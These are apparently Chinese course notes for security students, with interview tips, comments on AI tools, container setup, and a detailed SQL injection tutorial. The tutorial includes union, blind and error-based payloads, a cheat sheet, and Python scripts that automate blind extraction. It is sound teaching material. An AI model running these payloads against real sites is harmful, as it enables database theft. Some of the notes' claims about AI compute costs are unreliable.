课堂笔记与面试题整理
第一部分:课堂开篇 --- 职业准备与面试指导
1.1 面试准备核心要点
1.1.1 必须准备的两个核心问题
- 对所应聘岗位的理解 --- 不能泛泛而谈,要具体说明岗位职责、所需技能、工作内容
- 个人优势 --- 要提炼出与岗位高度匹配的3-4个核心优势点
1.1.2 准备态度
- 不能有侥幸心理:随着被叫到的人增多,剩余人员被抽中的概率会越来越高
- 准备不充分的后果:可能会被连续抽查多天,直到准备好为止
- 回答必须脱稿:听起来要像"陈述"而不是"讨论",不能给人"现编"的感觉
1.1.3 面试表达技巧
- 表达要通俗易懂,但需提炼专业术语,避免过于口语化
- 要有"语言魅力"和"专业性表述"
- 可以结合AI生成的答案进行完善,但最终要靠自己的理解和记忆
- 回答要逻辑连贯、聚焦,不能支离破碎
1.2 安全服务岗位深度解析
1.2.1 岗位核心定位
- 以攻击者视角发现系统漏洞 --- 这是安全服务的根本出发点
- 核心是客户交付和问题解决,而不仅仅是内部安全建设
1.2.2 工作内容
- 深度测试 --- 对系统进行深入的安全测试
- 流量分析 --- 分析网络流量,发现异常行为
- 漏洞输出 --- 将发现的漏洞整理成报告输出
1.2.3 岗位特点
- 不仅是技术活:更需要沟通能力和风险排查思维
- 要能全方位降低企业信息安全风险
- 需要主动排查信息系统风险
1.3 个人优势提炼示范
1.3.1 四个核心优势维度
技术能力:
- 掌握网络基础知识
- TCP/IP协议栈理解
- 流量分析能力
- 熟悉系统访问协议
- 擅长使用安全工具进行扫描检测
软实力:
- 细心严谨
- 爱动脑思考
- 出色的沟通能力
- 较强的抗压能力
- 故障排查耐心
学习能力:
- 主动学习能力
- 快速学习新知识
- 自学能力强
稳定性:
- 愿意接受出差安排
- 愿意长期深耕网络领域
1.3.2 在校经历加分项
- 担任过学生干部
- 组织过志愿服务活动
- 专业基础扎实(计算机专业出身)
- 具备文档撰写能力
- 有过企业组网实操经验(如参与过中小企业组网)
1.4 克服紧张情绪的方法
1.4.1 紧张的表现
- 即使内心想放松,身体反应仍会暴露紧张
- 声音颤抖
- 思路混乱
1.4.2 解决方法
- 反复练习,背到滚瓜烂熟 --- 即使紧张,也能靠肌肉记忆流畅表达
- 付出更多努力 --- 容易紧张的人必须比天生社牛的同学付出更多
- 完善答案并背诵熟练 --- 避免给人"现编"的感觉
第二部分:AI工具的理解与使用
2.1 AI工具的局限性
2.1.1 核心问题
- AI并非无所不能 :其回答的准确性完全取决于提问者的提问质量
- 不应盲目依赖AI,尤其是在面试等正式场合
- 需清楚地说明自己对AI的理解和使用程度
2.1.2 常见误区
- 很多人对AI的理解太肤浅
- 光会跟AI聊天根本不算懂AI
- 简历写"精通AI",连基础命令都答不上来
- 把AI当"度娘"用,只做问答不深度使用
2.1.3 AI工具的不可靠性
- 5道固定答案的消防安全题居然错1道且无法纠正
- 豆包这类产品作为搜索引擎都不够可靠(连官方网址都可能找不准)
- 输出结果有时根本不是想要的内容
2.2 AI工具的正确使用方法
2.2.1 深入理解底层机制
- 掌握提示词工程(Prompt Engineering) --- 这是使用AI的核心技能
- 理解AI的底层运作逻辑
- 避免停留在简单的对话层面
2.2.2 Codex命令行的智能执行功能
- 目标导向(target):设定目标后,系统会全程围绕目标执行,一旦偏离立即纠正
- 免打扰模式:可以授予最大权限自动执行,直到预设的约束点才暂停
- 断点续传:意外关机重启后,能通过临时数据库恢复执行进度
- 相当于在命令行内置了一个轻量级自动化管控系统
2.2.3 AI赋能工作
- 技术人员要深入思考如何让AI真正为工作赋能
- 而不仅仅是把它当问答工具
- 真正厉害的岗位不会被AI替代
- 重点在于是否真正理解工具底层逻辑,而非跟风标榜
2.3 AI工具对比分析
| 工具 | 特点 | 使用建议 |
|---|---|---|
| ChatGPT | 比Claude更开放好用 | 首选,但需注意访问限制 |
| Claude | 老板是鹰派,限制中国人使用 | 可用但限制较多 |
| GLM | 供货情况稳定 | 优先选择 |
| Kimi | 有时买不到 | 作为备选 |
| DeepSeek | 暑假涨价,价格翻倍 | 性价比尚可,比同类良心 |
| Codex | 命令行智能执行 | 适合开发自动化任务 |
2.3.1 付费机制
- 99元/月的套餐看似额度少
- 但共享使用的特性让性价比更高(类似多人合租ChatGPT账号)
- 付费套餐的实际价值需从使用时长和共享可能性来评估
2.3.2 警惕问题
- 虚假宣传:可能挂着DeepSeek的名号实际提供的是Codex的服务
- URL和参数必须绝对准确,差一点AI就无法正确响应
- 提示词和输入参数的精确度直接决定输出质量(就像钥匙开锁,差一毫米都打不开)
2.4 AI学习路径与资源
2.4.1 推荐学习资源
国外平台(需VPN):
- YouTube:关注技术博主和AI前沿内容
- Twitter/X (马斯克的社交平台):关注OpenAI等公司的研发工程师和创始人
- 他们常会在社交媒体分享最新技术动态
- 吴恩达教授的英文AI入门课
国内平台:
- B站:有大量前沿技术内容,AI应用、Codex等工具都有详细解析
- 有些技术大牛会同步更新国外内容
2.4.2 学习方法
- 关注技术博主:他们对技术敏感度更高,能持续分享最新动态
- 像刷短视频一样获取技术资讯
- 关键是要主动保持对技术趋势的关注
- 学习英文技术视频虽然有语言障碍,但有字幕辅助理解问题不大
2.5 AI与求职面试
2.5.1 面试中的AI问题
- 面试时别盲目标榜AI能力
- 除非能真正解释清楚这些技术是什么、怎么用
- 某公司面试售后技术支持工程师时,特别看重AI工具的应用能力
- 有个学生技术基础不错,但最终没通过面试:
- 原因:只会用AI解答问题,不会在工作中灵活运用
2.5.2 AI时代的开发变革
- 现代开发流程已发生巨大变化
- 以前需要10-20人团队耗时一个月的开发任务
- 现在掌握Web Coding的个人可能一周就能完成
- 不过前期需求定义等关键环节仍需要人工把控
2.5.3 对运维方向的影响
- AI正在深度改变运维领域
- 对AI工具的需求比想象中更迫切
- 比如AI命令工具虽已存在一段时间,但仍存在需要频繁确认权限、容易执行跑偏等问题
2.6 算力成本与行业趋势
2.6.1 算力成本飙升
- 以前跑AI模型几个小时只要几块钱,现在价格暴涨
- GPT-4训练每天烧1亿美金
- 到5.0版本直接涨到10亿美金/天
- 算力资源极度紧张
- 本质是算力军备竞赛
2.6.2 消费电子涨价
- 苹果手机价格不降反升(涨幅500-1000元)
- 华强北耳机在参数上能对标苹果,但用户体验仍有差距
- 核心技术壁垒依然存在
第三部分:环境搭建 --- Podman/Docker + Nginx + MariaDB + PHP
3.1 一键安装脚本
3.1.1 脚本功能
- 自动检查并安装Podman容器工具
- 自动安装Nginx服务器
- 简化流程,避免手动配置出错
3.1.2 常见问题
- 之前用apt安装过Nginx可能导致冲突
- 重启后服务无法访问的问题很可能来源于版本兼容性问题
- 版本适配问题:去年使用的2323版本存在不适配问题
- 建议先明确环境配置差异,再针对性解决
3.2 MariaDB数据库连接配置
3.2.1 安装后检查要点
- 检查MariaDB是否成功安装
- 获取数据库连接信息(数据库名和密码)
- PHP应用需要这些信息来连接数据库
- 需要手动输入数据库名和密码
3.2.2 容器与数据库连接
- 由于容器具有隔离性,必须专门配置才能建立连接
- 9056端口是关键连接端口
- 注意:该端口只有在容器启动时才会处于监听状态
3.2.3 端口排查技巧
- 先用
ss -antlp | grep 80检查80端口是否正常 - 如果没启动,需要到
/usr/local/Nginx/sbin/路径下运行 - 同样要检查9000端口(PHP-FPM监听端口)
- 原本计划用PHP 8.5但安装失败,最后改用容器镜像安装PHP 5.6版本
3.3 容器问题排查流程
3.3.1 排查步骤
第一步:检查容器运行状态
bash
podman ps
- 如果容器没运行,自然无法访问服务
第二步:检查配置文件
- Nginx配置文件:
/usr/local/nginx/conf/nginx.conf - 这里配置的端口(如9056)必须和实际运行的服务端口一致
第三步:确认端口监听状态
bash
ss -antlp | grep 9050
第四步:重启容器
bash
podman start [容器ID]
第五步:再次验证
- 再次用
podman ps验证容器状态 - 看到"running"才表示服务真正跑起来了
3.3.2 核心验证思路
- 结果导向的验证思路:重启服务后检查端口是否开启是最直接的验证方式
- 边操作边验证:每次操作后都用status/ps命令确认状态
- 遇到问题要先自查文档或系统课程,碎片化学习效果有限
3.4 systemd服务文件配置
3.4.1 基本原理
systemctl enable能管理服务的前提是该服务有对应的.service文件- 当前的容器并不具备这个条件
- 当标准方法不适用时,需要寻找替代方案
3.4.2 生成service文件
生成命令:
bash
podman generate systemd --name [容器名] --files --new
注意:
- 参数容易记混,需要查证
- 类似命令能自动生成配置文件
- 实际命令可能存在记忆偏差,使用时建议查阅官方文档确认
3.4.3 文件移动与配置
步骤:
- 生成的
.service文件默认在当前目录 - 必须手动移动到指定目录
- 推荐路径:
~/.config/systemd/user/ - 具体路径结构:在config目录下创建systemd文件夹,再在其中建立users子目录
3.4.4 启动与管理
bash
# 移动文件到指定目录
mv content-php56-fpm.service ~/.config/systemd/user/
# 启动服务
systemctl --user start content-php56-fpm.service
# 检查服务状态
systemctl --user status content-php56-fpm.service
# 设置开机自启
systemctl --user enable content-php56-fpm.service
3.4.5 重要提醒
- 容器技术(Podman/Docker)是运维和安全的必备技能
- 建议利用暑假提前练习
- 无论选择安全还是运维方向,容器技术都有帮助
- 如果担心影响现有容器,可以先删除旧容器测试新服务是否能正常启动
3.5 PHP-FPM服务详解
3.5.1 配置要点
- PHP-FPM的service文件:
content-php56-fpm.service - 默认生成在当前目录
- 必须手动移动到系统目录下才会被识别
3.5.2 版本说明
- 原本计划用PHP 8.5但安装失败
- 最后改用容器镜像安装了PHP 5.6版本
3.6 Docker与Podman关系
| 对比项 | Docker | Podman |
|---|---|---|
| 本质 | 容器管理工具 | 容器管理工具 |
| 命令 | docker | podman |
| 守护进程 | 需要dockerd | 不需要(daemonless) |
| 安全性 | 标准 | 更安全(rootless) |
| 兼容性 | 广泛 | 兼容Docker命令 |
学习建议: 两者本质相同,只是命令不同。建议系统学习相关课程而非零散看视频。
第四部分:SQL注入(SQL Injection)核心知识
4.1 SQL注入原理
4.1.1 根本原因
- 服务端通过GET等方式获取用户输入参数后
- 直接拼接到SQL查询语句中
- 用户输入的参数未经任何处理或过滤
4.1.2 漏洞形成示例
正常查询:
sql
SELECT data FROM table WHERE uid=12
此时只返回uid=12的用户数据
恶意构造:
用户输入: 12 OR 1=1
拼接后: SELECT data FROM table WHERE uid=12 OR 1=1
因为 1=1 永远为真,导致整个WHERE条件失效,数据库返回所有用户数据
4.1.3 HTTPS请求调试工具
- HackBar插件:方便修改URL传参
- Burp Suite抓包工具:拦截和修改请求数据包,比反复修改URL更高效
4.2 SQL注入通用步骤(四步法)
4.2.1 第一步:判断输入类型
数字型注入:
- 用户输入直接拼接到SQL语句中
- 不需要引号闭合
- 例:
WHERE id=1 OR 1=1--- "1 OR 1=1"作为SQL逻辑执行
字符型注入:
- 用户输入被放在引号内
- 需要手动闭合引号
- 例:
WHERE id='1' OR 1=1'--- 需要平衡引号数量,否则语法错误
测试方法: 构造 and 1=2
sql
-- 数字型测试
SELECT * FROM users WHERE id=1 AND 1=2 -- 条件为假,无结果返回
-- 字符型测试
SELECT * FROM users WHERE id='1 AND 1=2' -- 被当作文本,不受影响
判断标准:
and 1=2生效(查询无结果) → 数字型and 1=2无影响(查询结果不变) → 字符型
其他方法:
- 用
--注释符测试 - 但更推荐用
and逻辑判断法,因为数字型注入时注释符可能不生效
4.2.2 第二步:确定闭合符
闭合符类型(不固定):
- 单引号
' - 双引号
" - 小括号
) - 混合闭合:双引号+小括号
") - 单引号+小括号
')
测试方法:
- 输入
1'看是否报错 → 说明可能与单引号相关 - 输入
1"看是否报错 → 说明可能与双引号相关 - 通过报错信息反推闭合符类型
- 查看源代码验证拼接方式
字符型注入必须注意:
- 必须找到正确的闭合方式才能成功
- 引号内的内容会被当作整体处理
- 引号外则会被解析为SQL语法
- 关键是要平衡引号数量,让注入语句能正确闭合
4.2.3 第三步:判断列数
使用ORDER BY:
sql
ORDER BY 1 -- 正常(至少有1列)
ORDER BY 2 -- 正常(至少有2列)
ORDER BY 3 -- 正常(至少有3列)
ORDER BY 4 -- 报错 → 说明只有3列!
原理:
- 数据库会按照指定的列号排序
- 如果列号超出实际列数,就会报错
- 即使查询结果为空,只要不报错就说明该列存在
其他方法:
GROUP BY也可以用来判断列数GROUP BY n如果超出列数也会报错
4.2.4 第四步:定位回显位置
原理:
- 虽然查询返回了多列数据,但可能只有部分列会显示在网页上
- 需要确定哪些列是有回显的
测试方法:
sql
-- 先让原查询不返回结果(如构造一个查不到的ID)
id = -1
-- 或者使用 AND 1=2
-- 然后用UNION SELECT构造占位符
UNION SELECT 1,2,3
观察结果:
- 如果页面上显示
2和3,说明第2列和第3列是回显位置 - 后续的注入语句就要放在这些能显示出来的列位置上
为什么先让原查询无结果?
- 因为UNION会追加结果
- 如果原查询有结果,会同时显示原结果和构造结果
- 让原查询无结果后,系统只显示我们构造的数据,更容易判断
4.3 UNION联合查询注入
4.3.1 核心规则
- UNION前后查询的列数必须一致
- 数据类型也要匹配
错误示例:
sql
-- users表有3列,emails表有2列
SELECT * FROM users UNION SELECT * FROM emails -- 报错!列数不一致
正确对齐:
sql
SELECT id, name, email FROM users
UNION
SELECT id, email, NULL FROM emails -- 补NULL对齐列数
4.3.2 回显利用
判断回显位置:
sql
id=-1 UNION SELECT 1,2,3
- 观察数字123在页面上的显示位置
- 确定哪些列是有效回显点
利用回显获取数据:
sql
id=-1 UNION SELECT 1,2,database() -- 在第3列获取数据库名
id=-1 UNION SELECT 1,2,version() -- 在第3列获取版本号
4.3.3 注意事项
UNION SELECT 1,2,3中间的列号数量必须与原查询列数一致- 报错信息会和数据库测试时看到的一致,这是重要的判断依据
4.4 布尔盲注(Boolean Blind Injection)
4.4.1 适用场景
- 注入点无直接数据回显
- 前端页面只返回 真(true)/假(false) 两种状态
- 无法看到具体数据内容
4.4.2 基本原理
通过构造条件判断语句,根据页面返回的真假状态来推测数据库信息。
判断数据库名长度:
sql
-- 判断数据库名长度是否等于8
id=1 AND LENGTH(database())=8
-- 页面正常 → 长度为8
-- 页面异常 → 长度不为8
id=1 AND LENGTH(database())=7
-- 页面异常 → 长度不为7(结合上面可确定长度为8)
逐个字符猜测:
sql
-- 截取第一个字符,判断ASCII码
id=1 AND ASCII(SUBSTRING(database(),1,1))>80
-- 页面正常 → ASCII > 80
-- 页面异常 → ASCII ≤ 80
4.4.3 二分法优化
直接比较字符效率太低 (挨个试a-z共26次),更聪明的方法是用ASCII码值配合二分法。
示例过程:
目标:猜出数据库名的第一个字符
第1次:ASCII > 80? → 是(范围缩小到81-255)
第2次:ASCII < 100? → 是(范围缩小到81-99)
第3次:ASCII < 90? → 否(范围缩小到90-99)
第4次:ASCII < 95? → 否(范围缩小到95-99)
第5次:ASCII = 97? → 是!→ 对应字符 'a'
优势:
- 每次将可能范围砍掉一半
- 26个字母最多5次即可确定(log₂26 ≈ 5)
- 比逐个尝试高效得多
4.4.4 Python自动化脚本
核心逻辑:
python
import requests
url = "http://target.com/vulnerable.php"
result = ""
for position in range(1, 9): # 假设长度为8
low, high = 32, 127
while low < high:
mid = (low + high) // 2
payload = f"1' AND ASCII(SUBSTRING((SELECT database()),{position},1))>{mid}--+"
params = {"id": payload}
response = requests.get(url, params=params)
if "正常标识" in response.text:
low = mid + 1
else:
high = mid
result += chr(low)
print(f"第{position}位: {chr(low)}")
调试要点:
- 需要安装
requests模块(pip install requests) - URL必须精确(大小写敏感)
- 观察返回值的真假判断来验证脚本的正确性
- 检查返回页面代码中是否包含特定字符来判断请求是否成功
4.5 时间盲注(Time-based Blind Injection)
4.5.1 基本原理
利用 if() 函数配合 sleep() 函数,通过响应时间差异来判断条件是否成立。
函数语法:
sql
IF(condition, value_if_true, value_if_false)
核心构造:
sql
SELECT * FROM users WHERE id=1 AND IF(1>2, SLEEP(3), 1)
- 如果
1>2成立(永远不成立),服务器休眠3秒 - 如果
1>2不成立,立即返回结果
4.5.2 应用示例
判断数据库名长度:
sql
id=1 AND IF(LENGTH(database())=8, SLEEP(3), 1)
-- 响应延迟3秒 → 长度为8
-- 立即响应 → 长度不为8
判断字符:
sql
id=1 AND IF(ASCII(SUBSTRING(database(),1,1))>80, SLEEP(3), 1)
-- 延迟3秒 → ASCII > 80
-- 立即响应 → ASCII ≤ 80
4.5.3 特点总结
- 不需要知道具体列数,直接通过if条件判断
- 时间延迟是判断依据:执行了SLEEP(3)证明条件为真
- 逐步缩小范围:先判断>5,再判断<10,最终确定精确值
- 就像用"是/否"问题慢慢试探保险箱密码
4.6 报错注入(Error-based Injection)
4.6.1 基本原理
通过特定函数触发数据库报错,在报错信息中泄露敏感数据。
4.6.2 核心函数
extractvalue()函数:
sql
EXTRACTVALUE(xml_fragment, xpath_expression)
- 从XML数据片段中提取值
- 按照XPath路径表达式定位
- 如果XPath表达式错误,会触发报错并泄露信息
updatexml()函数:
sql
UPDATEXML(xml_target, xpath_expr, new_xml)
- 更新XML文档中的内容
- XPath表达式错误同样会触发报错
4.6.3 利用技巧
标准payload构造:
sql
-- 用波浪线~触发报错,在报错中泄露数据库名
AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE())))
-- 获取表名
AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())))
-- 获取列名
AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users')))
特殊符号选择:
- 波浪线 ~ (十六进制
0x7e):最稳定,推荐使用 - 星号
*:可能受URL编码影响 @符:能直接成功,但保险起见仍推荐波浪线- 避免使用
&&:在URL中有特殊含义(参数分隔符),会导致解析错误
注意事项:
- URL有特殊限制,某些符号可能被编码或拦截
- 报错前系统会先执行有效语句,报错信息会泄露执行结果
- 主动制造报错条件,让系统在报错时把敏感信息带出来
第五部分:SQL查询技巧与函数详解
5.1 GROUP BY 分组
5.1.1 基本用法
sql
-- 按顾客列分组,把同一顾客的所有订单归在一起
SELECT customer, SUM(amount) FROM orders GROUP BY customer
-- GROUP BY 1 表示按第一列分组
SELECT customer, amount FROM orders GROUP BY 1
5.1.2 关键规则
- 分组后必须配合聚合函数 (如
SUM()、COUNT()、AVG()) - 如果不使用聚合函数,只会显示分组后的第一条数据
GROUP BY n中 n 超出列数会像 ORDER BY 一样报错
5.1.3 常用聚合函数
| 函数 | 作用 | 示例 |
|---|---|---|
| SUM() | 求和 | SUM(price) |
| COUNT() | 计数 | COUNT(*) |
| AVG() | 求平均 | AVG(score) |
| MAX() | 求最大值 | MAX(price) |
| MIN() | 求最小值 | MIN(price) |
5.1.4 完整示例
sql
-- 建表
CREATE TABLE orders (
order_id INT,
customer VARCHAR(50),
price DECIMAL(10,2)
);
-- 插入数据
INSERT INTO orders VALUES (1, '张三', 100), (2, '张三', 200), (3, '李四', 150);
-- 分组查询每个客户的总消费
SELECT customer, SUM(price) FROM orders GROUP BY customer;
-- 结果:
-- 张三 | 300
-- 李四 | 150
5.2 ORDER BY 排序
5.2.1 基本用法
sql
SELECT * FROM users ORDER BY 1 -- 按第一列排序
SELECT * FROM users ORDER BY 3 -- 按第三列排序
5.2.2 在注入中的应用
- ORDER BY是判断列数的最佳工具
- 通过不断尝试不同的列号来测试
- ORDER BY 4 报错 → 说明没有第4列
- ORDER BY 3 正常 → 说明至少有3列
5.3 LIMIT 限制输出
5.3.1 两种用法
单参数用法:
sql
LIMIT 2 -- 只返回前2行数据
双参数用法:
sql
LIMIT 1,2 -- 从第2行开始(行号从0计数),返回2行数据
重要: 双参数的第二位是返回的行数,不是截止行号!
5.3.2 分页查询示例
sql
-- 假设数据库有10条数据
SELECT * FROM users LIMIT 0,3 -- 返回第1、2、3条(第1页)
SELECT * FROM users LIMIT 3,3 -- 返回第4、5、6条(第2页)
SELECT * FROM users LIMIT 6,3 -- 返回第7、8、9条(第3页)
SELECT * FROM users LIMIT 9,3 -- 返回第10条(第4页)
5.4 CONCAT 与 GROUP_CONCAT
5.4.1 CONCAT --- 字段拼接
sql
-- 将用户名和密码拼接在一列显示
SELECT CONCAT(username, ':', password) FROM users
-- 结果:
-- admin:123456
-- user1:pass123
5.4.2 GROUP_CONCAT --- 多行合并
sql
-- 将所有用户名合并成一行,用逗号分隔
SELECT GROUP_CONCAT(username) FROM users
-- 结果:
-- admin,user1,user2,user3
-- 自定义分隔符
SELECT GROUP_CONCAT(username SEPARATOR '|') FROM users
-- 结果:
-- admin|user1|user2|user3
-- 同时拼接多个字段
SELECT GROUP_CONCAT(username, ':', password SEPARATOR '; ') FROM users
-- 结果:
-- admin:123456; user1:pass123; user2:abc789
区别总结:
| 函数 | 输入 | 输出 | 适用场景 |
|---|---|---|---|
| CONCAT | 多个列/值 | 单行拼接结果 | 同一行的字段拼接 |
| GROUP_CONCAT | 多行数据 | 一行合并结果 | 多行合并为一行显示 |
5.5 LIKE 模糊匹配
5.5.1 通配符
%:匹配任意数量的字符(包括0个)_:匹配单个字符
5.5.2 示例
sql
-- 名字以"张"开头
SELECT * FROM users WHERE username LIKE '张%'
-- 名字包含"张"
SELECT * FROM users WHERE username LIKE '%张%'
-- 名字第二个字是"三"
SELECT * FROM users WHERE username LIKE '_三%'
5.6 字符串处理函数
5.6.1 LENGTH() --- 计算字符串长度
sql
SELECT LENGTH('hello') -- 返回 5
SELECT LENGTH(DATABASE()) -- 返回当前数据库名的长度
5.6.2 ASCII() --- 获取ASCII码
sql
SELECT ASCII('A') -- 返回 65
SELECT ASCII('a') -- 返回 97
5.6.3 SUBSTRING() --- 字符串截取
sql
-- SUBSTRING(str, pos, len)
SELECT SUBSTRING('database', 1, 3) -- 返回 'dat'
SELECT SUBSTRING('database', 4, 4) -- 返回 'base'
-- 函数名大小写不敏感
SUBSTRING / SUBSTR / SUBSTR -- 都可以使用
实用场景: 处理超长字符串的显示问题,分段截取展示。
5.7 数据库信息查询
5.7.1 查看数据库信息
sql
-- 查看当前使用的数据库
SELECT DATABASE()
-- 显示所有数据库
SHOW DATABASES
-- 查看数据库版本
SELECT VERSION()
5.7.2 进入数据库
sql
USE database_name
-- 或在查询时加前缀
SELECT * FROM database_name.table_name
5.8 information_schema系统库
5.8.1 概述
information_schema 是MySQL的系统数据库,存储了所有数据库的元数据信息(表结构、列信息等)。
5.8.2 查询表名
查看所有表:
sql
SELECT * FROM information_schema.tables
数据太多会显得杂乱,建议精简化。
精简查询:
sql
SELECT table_name FROM information_schema.tables
查询特定数据库的表:
sql
SELECT table_name FROM information_schema.tables WHERE table_schema='security'
合并显示:
sql
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'
注意: 如果当前数据库和information_schema不同,查询要带库名前缀:
sql
SELECT table_name FROM information_schema.tables -- 正确
5.8.3 查询列名
查询特定表的列名:
sql
SELECT column_name FROM information_schema.columns
WHERE table_schema='security' AND table_name='users'
关键字段说明:
TABLE_SCHEMA:数据库名TABLE_NAME:数据表名COLUMN_NAME:列名
5.8.4 注意事项
column这个单词容易拼错- 查询结果可能看起来杂乱,专注查找 COLUMNS 表中的信息
- 也可以使用图形化工具查看表结构(更直观)
第六部分:Python自动化脚本 --- 盲注
6.1 布尔盲注自动化
6.1.1 核心思路
使用Python脚本自动发送请求,通过二分查找法快速推断每个字符的ASCII码值。
6.1.2 完整脚本示例
python
import requests
# 目标配置
url = "http://192.168.50.1/sqli/lesson1.php"
success_indicator = "正常页面包含的特定字符串" # 根据实际页面调整
def check_condition(payload):
"""发送请求并判断条件是否成立"""
params = {"id": payload}
try:
r = requests.get(url, params=params, timeout=5)
return success_indicator in r.text
except:
return False
def get_length():
"""二分法获取数据库名长度"""
low, high = 1, 32
while low < high:
mid = (low + high) // 2
payload = f"1' AND LENGTH(DATABASE())>{mid}--+"
if check_condition(payload):
low = mid + 1
else:
high = mid
return low
def get_database_name(length):
"""逐个字符获取数据库名"""
db_name = ""
for pos in range(1, length + 1):
low, high = 32, 127
while low < high:
mid = (low + high) // 2
payload = f"1' AND ASCII(SUBSTRING(DATABASE(),{pos},1))>{mid}--+"
if check_condition(payload):
low = mid + 1
else:
high = mid
db_name += chr(low)
print(f"[+] 第{pos}位: {chr(low)} → 当前: {db_name}")
return db_name
# 执行
print("[*] 开始获取数据库名长度...")
length = get_length()
print(f"[+] 数据库名长度: {length}")
print("[*] 开始获取数据库名...")
db_name = get_database_name(length)
print(f"[+] 数据库名: {db_name}")
6.1.3 调试常见问题
| 问题 | 原因 | 解决方法 |
|---|---|---|
| requests模块不存在 | 未安装 | pip install requests |
| 连接目标地址报错 | IP地址写错 | 仔细检查URL(如192写成129) |
| 返回值判断不准 | success_indicator设置错误 | 观察正常/异常页面的差异 |
| 脚本报错无响应 | 参数格式不对 | 检查payload中的引号和注释符 |
6.1.4 响应验证逻辑
python
# 方法1:检查页面是否包含特定字符串
"正常" in response.text
# 方法2:检查页面长度
len(response.text) > 100
# 方法3:检查是否包含错误信息
"error" not in response.text.lower()
# 方法4:检查特定HTML元素
"Welcome" in response.text
6.2 时间盲注自动化
6.2.1 核心思路
通过测量响应时间来判断条件是否成立。
python
import requests
import time
def time_based_check(payload, timeout=5):
"""时间盲注检查"""
start = time.time()
try:
r = requests.get(url, params={"id": payload}, timeout=timeout)
elapsed = time.time() - start
return elapsed > 3 # 如果响应时间超过3秒,说明触发了SLEEP
except:
return False
# 判断数据库名长度
payload = "1' AND IF(LENGTH(DATABASE())=8, SLEEP(3), 1)--+"
if time_based_check(payload):
print("[+] 数据库名长度为8")
6.2.2 注意事项
- 网络延迟可能影响判断准确性
- 建议设置合理的超时阈值
- 多测几次取平均值更可靠
附录:SQL注入速查表
判断步骤
输入点(如 ?id=1)
│
├─ 判断类型
│ ├─ and 1=2 → 无结果 → 数字型
│ └─ and 1=2 → 无变化 → 字符型 → 找闭合符
│
├─ 判断列数
│ └─ ORDER BY n → 报错则列数为 n-1
│
├─ 定位回显
│ └─ UNION SELECT 1,2,3 → 看哪些数字显示在页面
│
└─ 获取数据
├─ UNION SELECT 1,2,database()
├─ UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
└─ UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'
常用Payload
sql
-- 数字型注入
1 OR 1=1
1 AND 1=2
1 ORDER BY 3
-1 UNION SELECT 1,2,3
-- 字符型注入(假设闭合符为')
1' AND '1'='1
1' AND '1'='2
1' ORDER BY 3--+
-1' UNION SELECT 1,2,3--+
-- 布尔盲注
1' AND LENGTH(DATABASE())=8--+
1' AND ASCII(SUBSTRING(DATABASE(),1,1))>80--+
-- 时间盲注
1' AND IF(LENGTH(DATABASE())=8, SLEEP(3), 1)--+
-- 报错注入
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE())))--+
1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT DATABASE())), 1)--+
常用函数
| 函数 | 用途 |
|---|---|
| DATABASE() | 获取当前数据库名 |
| VERSION() | 获取数据库版本 |
| USER() | 获取当前用户 |
| LENGTH() | 计算字符串长度 |
| ASCII() | 获取字符ASCII码 |
| SUBSTRING() | 截取字符串 |
| CONCAT() | 拼接字符串 |
| GROUP_CONCAT() | 多行合并为一行 |
| SLEEP() | 休眠指定秒数 |
| IF() | 条件判断 |
面试题集锦(含详细参考答案)
以下面试题基于课堂内容整理,涵盖AI工具、SQL注入、环境运维、职业发展四大方向,每题均附有完整的参考答案和扩展说明。
一、AI工具与AI应用类(共8题)
面试题1:请谈谈你对AI工具的理解,以及在实际工作中如何正确使用AI?
考察点: 对AI本质的认知深度、使用AI的方法论
参考答案:
(1)AI的核心局限
- AI并非无所不能,其回答的准确性完全取决于提问者的提问质量(即提示词工程的水平)
- 不应盲目依赖AI,尤其是在面试等正式场合
- 需清楚地说明自己对AI的理解和使用程度,不能夸夸其谈
(2)正确使用方法
- 深入理解AI的底层运作机制,掌握提示词工程(Prompt Engineering)
- 避免停留在简单的对话层面,要让AI真正为工作赋能
- 技术人员不能只把AI当"度娘"用------只会问答而不深度使用
(3)Codex命令行的智能执行三大特性
- 目标导向:设定目标后全程围绕目标执行,一旦偏离立即纠正
- 免打扰模式:授予最大权限自动执行,到预设约束点才暂停
- 断点续传:意外关机重启后,能通过临时数据库恢复执行进度
(4)面试中的AI问题
- 面试时别盲目标榜"精通AI",除非能真正解释清楚技术是什么
- 有些公司面试时特别看重AI工具的应用能力(如江苏聚合软件的售后技术支持工程师岗位)
- 只会用AI解答问题,不会在工作中灵活运用,技术再好也可能被刷
(5)总结
真正厉害的岗位不会被AI替代,关键是要学会让AI成为提升效率的工具,而不是简单的问题查询器。
面试题2:AI对网络安全行业有什么具体影响?
考察点: 行业趋势洞察、AI与安全结合的理解
参考答案:
(1)对安全运维的变革
- AI正在深度改变运维和安全领域
- 对AI工具的需求比想象中更迫切
- AI命令工具虽已存在一段时间,但仍存在需频繁确认权限、容易执行跑偏等问题
(2)开发效率的质变
- 以前需要10-20人团队耗时一个月的开发任务
- 现在掌握Web Coding的个人可能一周就能完成
- 不过前期需求定义等关键环节仍需要人工把控
(3)安全专业方向
大三学生:
- 需尽快补充AI安全领域知识
- 聚焦目标领域突击补课
- 为后续周老师的高级课做准备(会直接涉及AI安全等深层次内容)
大二学生:
- 先了解AI基础
- 系统打基础,别一上来就啃高难度内容
- 专注学习基础AI应用
(4)AI学习的紧迫性
- AI领域变化极快,刚掌握的知识可能一周后就过时
- 这种追赶状态让人压力很大
- 必须保持持续学习的状态
面试题3:为什么说"只会用AI聊天不算懂AI"?
考察点: AI技术深度的理解
参考答案:
(1)表层使用 vs 深层理解
- 光会跟AI聊天根本不算懂AI------随便找个大爷也能跟AI唠嗑
- 真正懂AI得知道底层原理,比如提示词工程这些专业领域
- 简历里写"精通AI",结果连基础命令都答不上来
(2)技术细节要求
- 提到Hermes框架等具体技术时,要深入技术细节,不能停留在表面
